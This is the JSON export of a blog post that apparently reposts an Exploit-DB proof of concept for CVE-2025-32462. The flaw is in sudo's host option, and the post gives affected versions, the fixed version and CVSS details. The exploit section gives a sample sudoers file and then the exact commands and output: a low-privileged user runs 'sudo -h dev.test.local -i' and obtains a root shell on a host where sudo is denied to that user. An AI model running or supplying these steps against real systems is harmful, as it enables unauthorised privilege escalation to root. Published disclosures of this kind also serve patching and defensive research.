{"id":7824,"date":"2025-07-08T13:35:44","date_gmt":"2025-07-08T13:35:44","guid":{"rendered":"http:\/\/localhost\/?p=7824"},"modified":"2025-07-08T13:35:44","modified_gmt":"2025-07-08T13:35:44","slug":"sudo-1917-host-option-elevation-of-privilege","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=7824","title":{"rendered":"Sudo 1.9.17 Host Option &#8211; Elevation of Privilege"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Sudo 1.9.17 Host Option &#8211; Elevation of Privilege<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52354<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-08T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-08T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #00cc00; font-weight: bold;\">LOW<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:H\/PR:L\/UI:N\/S:C\/C:N\/I:L\/A:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-32462<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Sudo 1.9.17 Host Option &#8211; Elevation of Privilege Date:&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Sudo 1.9.17 Host Option &#8211; Elevation of Privilege<br \/>\n<br \/># Date: 2025-06-30<br \/>\n<br \/># Exploit Author: Rich Mirch<br \/>\n<br \/># Vendor Homepage: https:\/\/www.sudo.ws<br \/>\n<br \/># Software Link: https:\/\/www.sudo.ws\/dist\/sudo-1.9.17.tar.gz<br \/>\n<br \/># Version: Stable 1.9.0 &#8211; 1.9.17, Legacy 1.8.8 &#8211; 1.8.32<br \/>\n<br \/># Fixed in: 1.9.17p1<br \/>\n<br \/># Vendor Advisory: https:\/\/www.sudo.ws\/security\/advisories\/host_any<br \/>\n<br \/># Blog:<br \/>\n<br \/>https:\/\/www.stratascale.com\/vulnerability-alert-CVE-2025-32462-sudo-host<br \/>\n<br \/># Tested on: Ubuntu 24.04.1; Sudo 1.9.15p5, macOS Sequoia 15.3.2; Sudo<br \/>\n<br \/>1.9.13p2<br \/>\n<br \/># CVE : CVE-2025-32462<br \/>\n<br \/>#<br \/>\n<br \/>No exploit is required. Executing a sudo or sudoedit command with the host<br \/>\n<br \/>option referencing an unrelated remote host rule causes Sudo to treat the<br \/>\n<br \/>rule as valid for the local system. As a result, any command allowed by the<br \/>\n<br \/>remote host rule can be executed on the local machine.<\/p>\n<p>Example \/etc\/sudoers file using the Host_Alias directive. The lowpriv user<br \/>\n<br \/>is allowed to execute all commands (full root) on dev.test.local,<br \/>\n<br \/>ci.test.local, but not prod.test.local.<\/p>\n<p>Host_Alias     SERVERS        = prod.test.local, dev.test.local<br \/>\n<br \/>Host_Alias     PROD           = prod.test.local<br \/>\n<br \/>lowpriv          SERVERS, !PROD = NOPASSWD:ALL<br \/>\n<br \/>lowpriv           ci.test.local  = NOPASSWD:ALL<\/p>\n<p>Even though the prod.test.local server is explicitly denied for the lowpriv<br \/>\n<br \/>user, root access is achieved by specifying the host option for the<br \/>\n<br \/>dev.test.local or ci.test.local servers.<\/p>\n<p>Example<\/p>\n<p>Show that lowpriv is not allowed to execute sudo on the prod server.<\/p>\n<p>lowpriv@prod:~$ id<br \/>\n<br \/>uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)<br \/>\n<br \/>lowpriv@prod:~$ sudo -l<br \/>\n<br \/>[sudo] password for lowpriv:<br \/>\n<br \/>Sorry, user lowpriv may not run sudo on prod.<\/p>\n<p>List the host rules for the dev.test.local server.<\/p>\n<p>lowpriv@prod:~$ sudo -l -h dev.test.local<br \/>\n<br \/>Matching Defaults entries for lowpriv on dev:<br \/>\n<br \/>    env_reset, mail_badpass,<br \/>\n<br \/>secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin,<br \/>\n<br \/>use_pty<\/p>\n<p>User lowpriv may run the following commands on dev:<br \/>\n<br \/>    (root) NOPASSWD: ALL<\/p>\n<p>Execute a root shell on prod.test.local by specifying the -h dev.test.local<br \/>\n<br \/>option.<\/p>\n<p>lowpriv@prod:~$ sudo -h dev.test.local -i<br \/>\n<br \/>sudo: a remote host may only be specified when listing privileges.<br \/>\n<br \/>root@prod:~# id<br \/>\n<br \/>uid=0(root) gid=0(root) groups=0(root)\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52354\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Sudo 1.9.17 Host Option &#8211; Elevation of Privilege Exploit ID EDB-ID:52354 Type exploitdb Published 2025-07-08T00:00:00 Modified 2025-07-08T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,144,12,40,71,13,7,11,5],"class_list":["post-7824","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-28","tag-exploit","tag-exploitdb","tag-low","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=7824\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Sudo 1.9.17 Host Option &#8211; Elevation of Privilege Exploit ID EDB-ID:52354 Type exploitdb Published 2025-07-08T00:00:00 Modified 2025-07-08T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=7824\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-08T13:35:44+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Sudo 1.9.17 Host Option &#8211; Elevation of Privilege\",\"datePublished\":\"2025-07-08T13:35:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824\"},\"wordCount\":433,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-2.8\",\"exploit\",\"exploitdb\",\"LOW\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=7824#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824\",\"name\":\"Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-07-08T13:35:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=7824\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7824#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sudo 1.9.17 Host Option &#8211; Elevation of Privilege\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=7824","og_locale":"en_US","og_type":"article","og_title":"Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Sudo 1.9.17 Host Option &#8211; Elevation of Privilege Exploit ID EDB-ID:52354 Type exploitdb Published 2025-07-08T00:00:00 Modified 2025-07-08T00:00:00 CVSS Information...","og_url":"https:\/\/zero.redgem.net\/?p=7824","og_site_name":"zero redgem","article_published_time":"2025-07-08T13:35:44+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=7824#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=7824"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Sudo 1.9.17 Host Option &#8211; Elevation of Privilege","datePublished":"2025-07-08T13:35:44+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=7824"},"wordCount":433,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-2.8","exploit","exploitdb","LOW","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=7824#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=7824","url":"https:\/\/zero.redgem.net\/?p=7824","name":"Sudo 1.9.17 Host Option - Elevation of Privilege - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-07-08T13:35:44+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=7824#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=7824"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=7824#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Sudo 1.9.17 Host Option &#8211; Elevation of Privilege"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/7824","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7824"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/7824\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}